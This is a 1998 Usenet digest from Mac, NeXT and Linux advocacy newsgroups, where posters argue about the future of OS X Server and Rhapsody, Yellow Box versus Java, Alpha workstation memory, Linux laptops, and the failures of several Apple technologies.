Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Linux: "amazingly great" part II
Date: Thu, 26 Nov 1998 17:53:18 +0100
Organization: University of Bonn, Germany
Message-ID: <1dj3qwb.1lp1ao8dzrq3oN@ascend-tk-p50.rhrz.uni-bonn.de>
References: <72evt6$15u$1@nnrp1.dejanews.com> <861zn8w3jc.fsf@topquark.spots.ab.ca> <97042EDDF11DA39D.35D6071AA669CB56.DAD30F1AEB9000E9@library-proxy.airnews.net> <adtF2LuuL.94M@netcom.com> <8BCE6683759C636E.39EBC39E32EDEFD1.EE283FD409C77147@library-proxy.airnews.net> <19981119172620914958@mp-39-31.daxnet.no>
Hi!
Thomas Sivertsen <tsivertsen@c2i.net> wrote:
> GNUStep is taking longer than I first thought, which was back when Apple
> bought NeXT, but it will soon do the trick, on all UN*X-platforms,
> including Linux and Mac OS X, and maybe a little bit on Windows
> (although Win32-ish).
>
> Go to: http://www.gnustep.org
Is someone working on YB/Java?
Dirk
--
No RISC - No fun
http://theisen.home.pages.de/
From: S S Sturrock <sss@holyrood.ed.ac.uk>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Thu, 26 Nov 1998 17:28:51 +0000
Organization: ICMB, University of Edinburgh
Message-ID: <365D8FD3.6B3D@holyrood.ed.ac.uk>
References: <7329lg$ot0$1@nnrp02.primenet.com> <732i4r$r9n$1@nnrp03.primenet.com> <3655d240.3919304@news.netlife.fi> <w0bzp9fcwev.fsf@mah21awu.YP.sparcm1> <365d0cb6.0@uni-wuerzburg.de> <365D6BFD.ADB@holyrood.ed.ac.uk> <ye0k90iqx5b.fsf@aruba.informatik.uni-wuerzburg.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 26 Nov 1998 17:27:43 GMT
Matthias Buelow wrote:
> It depends on what you want to do, I found the HPs with hpux 10 and
> vue with 48 megs running a VLSI design program with > 30mb text segment
> much more usable than alphas with a similar workload. If you just
> lightly load them as home machines, or for running a desktop with some
Assuming of course that the fact that the machine is a desktop box it
isn't also doing lots of other stuff in the background. The 533 Alphas
are so fast they can comfortably run up to 96% cpu for a single app
(they are database servers) while barely having any noticible effect on
the desktop environment. All in 64Megs. As ever, it depends on the
apps you want to run but from my experience a 64MB Alpha is ample.
> desktop apps, the 64mb alphas with dec unix and cde are usable aswell
> (although they tend to swap a little (cde is fat)).
Agreed. But then again, so is KDE and that runs fine on my 48MB machine
which is also acting as an SMB server (samba) and web server (Apache) as
well as being my firewall/gateway/IP_masquerading box etc etc along with
the usual full complement of daemons you would expect on a pretty much
full install of RedHat5.1 OK, so its not DU, maybe Linux is a bit
lighter. It is true that executables for Alphas do tend to be bigger
but the general effect doesn't seem to be that bad, the machines are not
memory hogs although I readily admit that I had my Alpha UDB for around
10 mins before I decided 16MB wasn't enough, but that would have been
the case for an Intel or Sun box too.
I was expecting the Alpha to be much more memory hungry that it turned
out to be when it finally arrived. And you can't argue that they aren't
fast!
--
Dr. Shane Sturrock - sss@holyrood.ed.ac.uk
Linux, a better WinNT than WinNT
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Thu, 26 Nov 1998 10:38:39 -0800
Organization: Graves Associates
Message-ID: <gmgraves-2611981038390001@sf-usr0-43-107.dialup.slip.net>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73jfcb$cef$2@sun27.hrz.tu-darmstadt.de>
In article <73jfcb$cef$2@sun27.hrz.tu-darmstadt.de>,
neuss.nos-pam@informatik.th-darmstadt.de.nos-pam wrote:
> gmgraves@slip.net (George Graves) wrote:
> >I've often wondered what the point of releasing OS-X Server actually is.
> >Apple says that there is never going to be anything beyond v.1.0, and that
> >OSX-Server won't have Carbon support, so basically what you get is an
> >OS which will run Yellow-Box apps, or current MacOS apps (in a container)
> >along with Java apps. Doesn't seem very compelling to me. There aren't
> >that many Yellow-Box apps (and won't be despite the fact that the Yellow
> >Box is a far better cross-platform development environment than is Java)
> >and the MacOS that they are saying OS-X server will ship with is OS8.1.
> >If Apple did decide to shelve it and go directly for the gold, it wouldn't
> >surprise me, and its probably NOT a bad move.
>
> a) what makes you so sure that OSXS will not support Carbon
A friend at Apple tells me that it won't.
> b) WebObjects.
What's your point?
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Thu, 26 Nov 1998 10:42:41 -0800
Organization: Graves Associates
Message-ID: <gmgraves-2611981042410001@sf-usr0-43-107.dialup.slip.net>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <365CBC23.4EFA0BE4@yahoo.com>
In article <365CBC23.4EFA0BE4@yahoo.com>, rfovell@yahoo.com wrote:
> George Graves wrote:
>
> > I've often wondered what the point of releasing OS-X Server actually is.
> > Apple says that there is never going to be anything beyond v.1.0, and that
> > OSX-Server won't have Carbon support, so basically what you get is an
> > OS which will run Yellow-Box apps, or current MacOS apps (in a container)
> > along with Java apps. Doesn't seem very compelling to me. There aren't
> > that many Yellow-Box apps (and won't be despite the fact that the Yellow
> > Box is a far better cross-platform development environment than is Java)
> > and the MacOS that they are saying OS-X server will ship with is OS8.1.
> > If Apple did decide to shelve it and go directly for the gold, it wouldn't
> > surprise me, and its probably NOT a bad move.
>
> I, for one, hope Apple releases OS-X Server, and does it soon. Yes, I, too am
> looking forward to OS-X "full". But I use Unix systems every day, and you can
> believe I would appreciate a usable Unix with a MacOS look-and-feel. Unix
> isn't for everyone, and it may not be for you. Heck, tho I respect Unix, I
> sure as hell don't like it. But I need it. Even a rather crudely applied Mac
> feel stretched thinly over a Unix underbelly would be better in some respects
> than I currently have.
>
> BTW, I believe Apple said OS-X Server for *Intel* will stop at v1.0, not
> necessarily Server for PPC. I hope I am not wrong.
From what I understand, v1.0 is it OS-X Server, PERIOD. In Jobs' Seybold
keynote, he showed a timeline which was demarcated by release events:
OS-X Server 1.0, Sonata, OS-X, etc. I saw no OS-X Server release beyond
the 1.0 version.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Thu, 26 Nov 1998 10:54:00 -0800
Organization: Graves Associates
Message-ID: <gmgraves-2611981054010001@sf-usr0-43-107.dialup.slip.net>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73i6rb$9rg$1@your.mother.com>
In article <73i6rb$9rg$1@your.mother.com>, "Todd Heberlein (todd at NetSQ
dot com)" <todd@dev.null> wrote:
> George Graves wrote in message ...
> >OSX-Server won't have Carbon support, so basically what
> > you get is an OS which will run Yellow-Box apps, or current
> > MacOS apps (in a container) along with Java apps. Doesn't seem
> > very compelling to me.
>
> OSX Server is essentially Rhapsody, which was Apple's previous last
> great hope, and it probably won't be that bad if it is ever released. I
> suspect MacOS apps will run as well in the BlueBox as they do in native
> MacOS. Furthermore, when they crash, they would not take out the entire
> operating system (although, they may take out the entire BlueBox -
> still, it would be an easier recovery).
>
> Interaction with a UNIX environment would be much tighter (especially
> nice for those who also work with UNIX), including using NFS (no need
> for local home directories which need to be backed up), NIS, telnetting
> to different boxes,and a local terminal window (which many of us still
> like). OSX will also be able to serve up a number of UNIX servers, such
> as fast robust web servers, IRC, DNS, etc.
>
> The fact that it doesn't seem very compelling to you reflects a larger
> problem I think Apple was experiencing last year, and what led to the
> change to Carbon. Few analysts/pundits were excited about Rhapsody, but
> most speak well of MacOS X with Carbon. And like it or not, these
> people do have influence.
>
No, you misunderstand. If Rhapsody had come out as planned, with concurrent
Mac and PC versions and Yellow-Box runtime libraries for Windows and Mac
OS (as originally scheduled), then I would be chomping at the bit to get my
hands on it. I believe that Yellow-Box is a much better cross-platform app
development environment than is Java. And the idea that big application
developers could write their apps once and have them run on Windows, Mac,
and eventually Unix and Linux boxes SEEMS to me to be the direction that
software development SHOULD be going. That they weren't interested speaks
volumes about the shortsightedness of modern business. They do not really
seem to know where their best interests lie.....
Since the introduction of Carbon (in other words, since Apple 'caved' on
Yellow-box) The whole idea of Yellow-box cross platform application
development seems to have died. Apple has not made ONE peep about
the Yellow-Box runtime libraries for either Windows or the current MacOS
that they were supposed to be developing. This makes the whole idea of
a Carbonless OS-X Server, sort of anti-climatic, don't you think?
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Thu, 26 Nov 1998 10:55:11 -0800
Organization: Graves Associates
Message-ID: <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com>
In article <73hti4$73$1@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> George Graves <gmgraves@slip.net> wrote:
> : There aren't that many Yellow-Box apps (and won't be despite the fact
> : that the Yellow Box is a far better cross-platform development
> : environment than is Java) and the MacOS that they are saying OS-X server
> : will ship with is OS8.1.
>
> There aren't that many Yellow Box apps because it has never been legal to
> ship them. For that matter Yellow Box is not yet cross-platform because
> it has not been shipped for multiple platfroms.
Yes, I know.
>
> If you think this is an indictment of Yellow Box think again - this is a
> defense of Yellow Box:
>
> The Yellow Box cannot be popular until you allow people to use it.
>
> As it now stands Java is a better cross-platform development environment
> because it is available and it is legal to sell Java applications on
> multiple platforms. The Yellow Box isn't a contender, not through any
> technical fault of its own, but simply because it is not available.
What a champion of the obvious you are.
George Graves
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
References: <7329lg$ot0$1@nnrp02.primenet.com> <365D6BFD.ADB@holyrood.ed.ac.uk> <ye0k90iqx5b.fsf@aruba.informatik.uni-wuerzburg.de> <365D8FD3.6B3D@holyrood.ed.ac.uk>
Organization: NIL
From: token@cip.informatik.uni-wuerzburg.de (Matthias Buelow)
Message-ID: <365da487.0@uni-wuerzburg.de>
Date: 26 Nov 98 18:57:11 GMT
In article <365D8FD3.6B3D@holyrood.ed.ac.uk>,
S S Sturrock <sss@holyrood.ed.ac.uk> wrote:
>isn't also doing lots of other stuff in the background. The 533 Alphas
>are so fast they can comfortably run up to 96% cpu for a single app
>(they are database servers) while barely having any noticible effect on
Heh, but that also stands true for slower systems, giving a proper
process scheduling. I'm currently typing on a 100MHz 21064, which is
doing someone else's fulltime junk in the background, and for interactive
processes you certainly don't feel any lag (the same on my 486 and K6
running BSD at home). That's mainly the nice effect of that typing,
mousing and starting a couple of smaller programs doesn't take much cpu.
>out to be when it finally arrived. And you can't argue that they aren't
>fast!
That I certainly agree with (but mostly because they can be clocked so
high, they're often a little slower than other risc or cisc machines at
the same clockrate).
--
Matthias K. Buelow * Boycott Micro$oft, see http://www.vcnet.com/bms/ *
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MocOS X beta hovering on the horizon?
Date: Thu, 26 Nov 1998 11:10:12 -0800
Organization: University of British Columbia
Message-ID: <1dj3gjk.ry49263zecyxN@p060.intchg2.net.ubc.ca>
References: <1dj3ezs.jix8xaj6qqjcN@port1-178.nordnet.fr>
User-Agent: MacSOUP/2.4b4
Aaron Smith <asmith@nordnet.fr> wrote, amidst the snippage:
> It seems very logical to me that Apple will completely forego the "OSX
> Server" release and go straight to a MW Jan. 98 release of OSX beta,
> Carbon libs and all.
>
> They want to forget about "Rhapsody" as a strategy (the press already
> has). To the average joe, this would look like MacOS X is a little bit
> ahead of schedule.
Further, in testifying against Microsoft's virtual monopoly in the
desktop OS market, Avie Tevanian claimed that Apple had been compelled
to abandon Rhapsody, since it's impossible to break into the
MS-dominated market with a new OS.
Surely this can be taken as a fairly clear signal that Mac OS X Server
(== Rhapsody) won't be released.
Add to this the inability of a bewildered press and public to sort out
the distinctions between the sundry coloured boxes, the Mach
microkernel, the BSD layer and Carbon and you have the thing that
computer-industry marketing types dread most -- a product (and message)
that seems inscrutably complicated. Much better to release a single,
scalable product that can be advertised/"explained" with a few compact
slogans.
After all, since the brilliantly simple idea "Windows everywhere" is
presently bogged down in complexity, why on earth should Apple do
anything at all to complicate the idea that Mac OS X has sprung from
Steve Jobs' head as the one "Next Big Thing", providing a single
solution from consumer desktop through workstation to enterprise server?
The question of how soon and how loudly Mac OS X will go into
pre-release mode would be easier to hazard a guess on if we knew how big
a splash Apple intends (or is able) to make with the upcoming consumer
portable. If as big or bigger than with the iMac, I suspect Mac OS X
could stay pretty much under wraps until full public release in late
'99.
--
Bruce Bennett
From: Michael <michael@tone.ca>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MocOS X beta hovering on the horizon?
Date: Thu, 26 Nov 1998 14:46:23 -0500
Organization: Styx DTP
Sender: monner@dial02p44.ottawa.storm.ca
Message-ID: <365DB00C.4418B8C1@tone.ca>
References: <1dj3ezs.jix8xaj6qqjcN@port1-178.nordnet.fr> <1dj3gjk.ry49263zecyxN@p060.intchg2.net.ubc.ca>
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NNTP-Posting-Date: 26 Nov 1998 19:46:42 GMT
The argument that there will be no MacOSX S might make sense if it weren't
for WebObjects, as many have said before. WO 4 will be released on Mac
hardware, soon, and not on a beta release.
Michael Monner
-----------------------
Bruce Bennett wrote:
>
> The question of how soon and how loudly Mac OS X will go into
> pre-release mode would be easier to hazard a guess on if we knew how big
> a splash Apple intends (or is able) to make with the upcoming consumer
> portable. If as big or bigger than with the iMac, I suspect Mac OS X
> could stay pretty much under wraps until full public release in late
> '99.
>
> --
> Bruce Bennett
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 26 Nov 1998 20:15:40 GMT
Organization: Primenet (602)416-7000
Message-ID: <73kctc$cju$1@nnrp03.primenet.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net>
George Graves <gmgraves@slip.net> wrote:
: In article <73hti4$73$1@nnrp02.primenet.com>, John Jensen
: <jjens@primenet.com> wrote:
: > As it now stands Java is a better cross-platform development environment
: > because it is available and it is legal to sell Java applications on
: > multiple platforms. The Yellow Box isn't a contender, not through any
: > technical fault of its own, but simply because it is not available.
: What a champion of the obvious you are.
<chuckle> Better to champion the obvious than to ignore it. It was over
a year ago (1997/09/03) when I posted:
"OpenStep is certainly more polished than Java. I think the Yellow Box's
OpenStep environment is a very good choice on technical grounds. The only
problem is that it has a sole source with mercurial management."
"I can buy Java development tools from IBM, Borland, Symantec, Microsoft,
Visix, Sun, Metrowerks, SuperCede, and Lotus, as well as use free tools
from the Linux community. A few of these companies can change their
business plans and drop Java, and I can keep on going. There are multiple
sources for run-time packages for Java on Windows, or Mac, or UNIX, so
again if a company changes their business plan and drops a Java runtime, I
can keep going. It's the benefit of an open, multiple source,
environment."
John
From: Edward Thomas <mcai7et2@stud.umist.ac.uk>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Thu, 26 Nov 1998 20:20:46 +0000
Organization: Sirius Cybernetics Corporation
Message-ID: <365DB81E.1EA2D9C3@stud.umist.ac.uk>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <732tj1$5sg$1@birch.prod.itd.earthlink.net> <36553A21.5C21B332@gsfc.nasa.gov> <3655AC70.28E80D6E@home.today> <w0byaozcw9q.fsf@mah21awu.YP.sparcm1>
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nospam@nospam.com wrote:
>
<snip processor/memory dicksize war>
> Or 20 Processors and 10 GB? (Soon to be 30p, 15-20GB) ...
Dum Dee Dum Cray/SGI T3E-1200E
576 Processors
700 Gflop/s peak performance
_148_G_B_ Ram
2Tb Disk Storage
125Tb Tape Backup
See: http://www.csar.cfs.ac.uk/
Its the 7th most powerful computer in the world
(http://www.top500.org/top500.list.html)
(Ok, so its not strictly speaking mine, but I can ask to use it ;)
So do I win yet?
(PS. Still runs Win2000 beta like a pig ;)
Message-ID: <365DAC34.6E7827B1@127.0.0.1>
From: root <root@127.0.0.1>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de> <dX772.2716$gt1.9709257@newse1.twcny.rr.com>
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NNTP-Posting-Date: Thu, 26 Nov 1998 14:24:51 EDT
Organization: ISPNews http://ispnews.com
Date: Thu, 26 Nov 1998 19:29:56 +0000
Paul E Larson wrote:
>
> In article <F2x7L2.t1@a2e.de>, phm@a2e.de (PILCH Hartmut) wrote:
> >Toon Moene <toon@moene.indiv.nluug.nl> writes:
> >
> >>Whoops. I'm glad I got Linux running on my new Compaq Laptop then - the only
> >>thing left is buying a modem card and a printer - must be possible in the
> >>remaining 13 months ...
> >
> >I'm about to buy a laptop/notebook, and it has to be with Linux preinstalled,
> >since I don't want to risk spending weeks on studying PCMCIA drivers.
>
> Here is another company in Germany that sells notebooks with Linux
> preinstalled. I found it at http://www.linux.org/vendors/systems.html.
>
> http://www.suse.de/suse_comp/index.html
>
> Paul
Although a bit pricey, VAResearch (in the USA) has Linux preinstalled on
laptops
http://www.varesearch.com/
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Interesting factoid...
Newsgroups: comp.sys.next.advocacy
References: <365cdbb2.0@news.depaul.edu> <1dj3t3h.jrey3ry3x9qmN@port180.bonn.ndh.net>
Message-ID: <365dc2d8.0@news.depaul.edu>
Date: 26 Nov 98 21:06:32 GMT
Michael Schuerig <schuerig@acm.org> wrote:
> Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> > Somebody's been posting to rec.arts.sf.written, with an
> > Apple email address, but a Javasoft organization, and
> > a .sig explaining that she's a Javasoft employee working
> > at Apple.
> >
> > (Does Javasoft still technically exist?)
> >
> > I didn't recognize the name as a Lighthouse person.
> If I'm not mistaken you spotted LeeAnn who is employed by Sun, but works
> at Apple on MRJ. Last time I checked she was regularly posting to
> various java-related groups and time and again explained her status. So,
> no conspiracy here and nothing new either.
I wasn't implying a conspiracy, I just thought it interesting, and
wondered what she might be working on.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: jpolaski@wwa.com (Jim Polaski)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Message-ID: <jpolaski-2611981608550001@d149-109.ce.mediaone.net>
References: <73iop0$29t@crab.afs.com>
Organization: Polaski P/D/C, 15 W. Hubbard, Chgo, IL
Date: Thu, 26 Nov 1998 16:08:55 -0600
NNTP-Posting-Date: Thu, 26 Nov 1998 16:08:55 CDT
In article <73iop0$29t@crab.afs.com>, "Greg Anderson" <greg@afs.com> wrote:
> Not that this should surprise anyone, but Apple got one of PC Week's IT
> Turkey Awards this week for Rhapsody. Specifically, it says:
>
> "Rotten Apple: Before iMac came the Rhapsody OS -- the *first* savior of
> Steve Jobs' enterprise. How many software developers wasted their time on a
> product that never saw the light of day?"
>
> Quibble with the details if you like, but you have to admit this is the
> common perception.
>
> Greg
======
Maybe you should go and search the news, DeJa that is, for the DOJ Trial
info and testimony of Avie, and you would find that M$ tactics had a lot
to do with the delay/changes in Rhapsody(the old name). Further, you'd
find that although late, it is still to ship under a new name, modified so
as to make development far easier.
Making informed comments is as hard as researching an article before you
write it.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Date: 26 Nov 1998 22:19:36 GMT
Organization: Primenet (602)416-7000
Message-ID: <73kk5o$ebv$1@nnrp03.primenet.com>
References: <73iop0$29t@crab.afs.com> <jpolaski-2611981608550001@d149-109.ce.mediaone.net>
Jim Polaski <jpolaski@wwa.com> wrote:
: In article <73iop0$29t@crab.afs.com>, "Greg Anderson" <greg@afs.com> wrote:
: > [something about PCWeek's Turkey award]
: Maybe you should go and search the news, DeJa that is, for the DOJ Trial
: info and testimony of Avie, and you would find that M$ tactics had a lot
: to do with the delay/changes in Rhapsody(the old name). Further, you'd
: find that although late, it is still to ship under a new name, modified so
: as to make development far easier.
: Making informed comments is as hard as researching an article before you
: write it.
Ahhh ... Greg started a thread in this group in response to the Avie
Testimony. You can see his posting at deja news using this link:
http://www.dejanews.com/getdoc.xp?AN=407582629
If you "view thread" you can see my humble thoughts, and quite a lot of
other discussion, on the subject.
John
From: SPAMLESSforrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Message-ID: <SPAMLESSforrest-2611981544280001@term2-11.vta.west.net>
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12> <F31C39.A0v@T-FCN.Net>
Organization: Obsidian
Date: Thu, 26 Nov 1998 15:44:27 -0800
NNTP-Posting-Date: Thu, 26 Nov 1998 15:43:47 PDT
In article <F31C39.A0v@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>> Seems to me that it is YOU that are in denial over the political forces at
>> work in dismantling the innovations that used to make Apple great.
>
> Geez, you are off the deep end.
While I typically agree with Lawson, I do feel the need to agree with
Maury here. I think the conspiracy theories about MS killing OD and GX and
other nifty Apple technologies is going a little too far. The products
failed because they were introduced wrong, just like Newton. Newton was
released with bad handwriting recognition, and while it was greatly
improved later, that impression stuck, and when combined with the higher
price and bulkier size which only catered to a few niches like the medical
profession, it flopped. GX was released with bad printing support (or was
it none at all?) and an indimidatingly large manual for such a simple
system (at least, as Lawson explains it), and it was an option, not a
flat-out backward-compatible replacement for classic QD, and so developers
were reluctant to accept it, nobody used it, and Apple killed it. OD was
slow and bloated on it's first release (at least it was for me; every
other OD user I've spoken to says it's so much faster and smaller than
classic 'bloatware' apps like Netscape and MS Office), didn't jive well
with the existing Mac paradigm (which was rather inevitable,
unfortunately), and had bad multi-platform support when it was marketed as
a multi-platform product. And, so I hear, it was relead with little to no
good development tools around, making it slow to catch on, and just when
it was barely beginning to get momentum, Apple had to kill it (which I can
understand from a monetary and business standpoint, but they should have
just shelved it and put it - or something like it - into YB later on). The
products were introed (sp?) bad and killed before fully grown. You don't
have to turn to MS conspiracy theories ("Sun and Netscape are out to get
us, oh my!") to explain their unfortunate deaths. But hopefully, something
like them will turn up and be done right this time, although by then they
won't be as revolutionary as they would have been now, or a few years ago.
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 26 Nov 1998 23:39:13 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <73kor1$c73$1@news02.btx.dtag.de>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <cirby-1611981402400001@pm61-11.magicnet.net> <3651B16C.DB43A980@spamtoNull.com> <F2L054.DJE@T-FCN.Net> <3659AEE8.D52972C0@spamtoNull.com> <3659c39f.0@news.depaul.edu>
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> In comp.sys.next.advocacy Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
>
> > Maury Markowitz wrote:
>
> > >
> > > Which is simply sidestepping the point. The point is not whether or not
> > > they remember the e-mails, but whether or not the e-mails are legit. They
> > > appear to be lefit, regardless of whether of not they are remembered.
> > > However this does seem to suggest that you no longer wish to suggest they
> > > are faked, or of lessor value that other documents.
>
>
> > What I have been saying all along is very simple. If you or I was
> > presented with an email it was claimed we had authored some years
> > earlier, and we could not recall writing it, we could not say with
> > certainty whether we had actually written it or not. However, if we were
Does "No, your Honor, I can not remeber killing this man." prove
anything?
Lars T.
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Thu, 26 Nov 1998 23:38:02 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73koop$qkl$1@nnrp1.dejanews.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com>
In article <73hti4$73$1@nnrp02.primenet.com>,
John Jensen <jjens@primenet.com> wrote:
> There aren't that many Yellow Box apps because it has never been legal
> to ship them.
>
Umm, I guess *strictly* speaking you're correct, however it has been legal to
ship OPENSTEP apps for a long time...
> For that matter Yellow Box is not yet cross-platform because
> it has not been shipped for multiple platfroms.
>
... the same applies here.
I guess it rather depends on what you call "many". I'm aware of at least a
couple of dozen worthwhile consumer apps for YellowBox, which together cover
the majority of needs of any average user.
> As it now stands Java is a better cross-platform development environment
> because it is available and it is legal to sell Java applications on
> multiple platforms. The Yellow Box isn't a contender, not through any
> technical fault of its own, but simply because it is not available.
>
Again, strictly speaking you're correct, however again OPENSTEP is available.
What rules OPENSTEP out of the consumer market is the exorbitant cost of the
runtimes, which would eclipse the cost of an entire office suite on other
platforms.
Best wishes,
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Thu, 26 Nov 1998 23:51:00 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73kph1$ram$1@nnrp1.dejanews.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73i6rb$9rg$1@your.mother.com> <gmgraves-2611981054010001@sf-usr0-43-107.dialup.slip.net>
In article <gmgraves-2611981054010001@sf-usr0-43-107.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> Yellow-box) The whole idea of Yellow-box cross platform application
> development seems to have died. Apple has not made ONE peep about
> the Yellow-Box runtime libraries for either Windows
>
Umm, twaddle.
WebObjects 4.0 is due out this week for NT.
> or the current MacOS that they were supposed to be developing.
>
I think it's been made clear that part of the rationale behind the McOX
strategy is to accelerate the process that most of us considered implicit in
the original plan, although Apple showed otherwise, namely that the two OSes
woudl at some stage converge. My understanding is that investigation of
MacOS 8.x showed that it would be more effort to include the necessary
underpinnings for YellowBox for 8.x than it would be to include support for
some sort of MacOS compatibility in Rhapsody, hence BlueBox, and the
"transparent" BlueBox in McOX-consumer.
> This makes the whole idea of
> a Carbonless OS-X Server, sort of anti-climatic, don't you think?
>
Not at all; there are a number of areas in which McOX-s will be very useful,
not only as a transition for ex-NeXT installations, but also for WebObjects,
printer and OPI serving, and as a migration path for early adopters. All
this shows is that to a large extent Apple is right not to make much of a
hullabaloo about a product which isn't going to appeal to many *consumers*.
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Bjørnar Bolsøy" <bbolsoey@rl.telia.no>
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
